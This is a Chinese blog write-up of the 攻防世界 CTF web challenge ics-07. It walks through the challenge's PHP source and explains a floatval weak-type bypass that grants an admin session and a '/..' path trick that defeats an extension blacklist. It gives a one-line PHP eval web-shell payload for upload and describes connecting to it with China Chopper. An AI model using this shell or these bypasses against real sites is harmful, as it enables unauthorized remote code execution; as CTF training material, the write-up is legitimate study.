攻防世界-web-ics-07(PHP弱类型、linux目录结构特性绕过文件类型过滤)

 
更多

工控云管理系统项目管理页面解析漏洞。

进入题目后,点击进入项目管理页面。

点击view-source查看源码。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

  </body>
</html>

View Code

1 代码解析:发现漏洞

下面对代码进行解析。关键代码有3段。

第一段

如果传入的参数page的值不是index.php,则包含flag.php,否则重定向到?page=flag.php。

    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

第二段

$_SESSION[‘admin’] = True的情况下,POST提交con和file两个参数,对$filename进行正则判断,如果判断正确文件会被上传到uploaded/backup目录下。正则匹配这里把一些后缀加入了黑名单

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

第三段

这一段可以使$_SESSION[‘admin’] = True;我们来看一下怎么构造。他需要获取一个id参数, 并且id不为1,且最后一位等于9。
这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,比如-,+,空格等,所以可以构造id=1 9来满足第一个if条件,if条件满足可以使得$result变量为TRUE。成功使$_SESSION[‘admin’] = True;

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

 

2 构造payload:上传木马

下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/..进入的是1.php文件夹

payloa如下

con=<?php @eval($_POST[muma]);?>&file=test.php/1.php/..

注意这里page参数的值不能为flag.php,否则是上传不成功的。

访问/uploaded/backup/目录,发现上传成功。

 

3 菜刀连接:获取flag

上菜刀。

 

参考:https://www.cnblogs.com/HelloCTF/p/13188482.html

打赏

本文固定链接: https://www.cxy163.net/archives/4843 | 绝缘体

该日志由 绝缘体.. 于 2020年09月16日 发表在 html, Linux, MySQL, PHP, 操作系统, 数据库, 编程语言 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: 攻防世界-web-ics-07(PHP弱类型、linux目录结构特性绕过文件类型过滤) | 绝缘体
关键字: , , , ,

攻防世界-web-ics-07(PHP弱类型、linux目录结构特性绕过文件类型过滤):等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter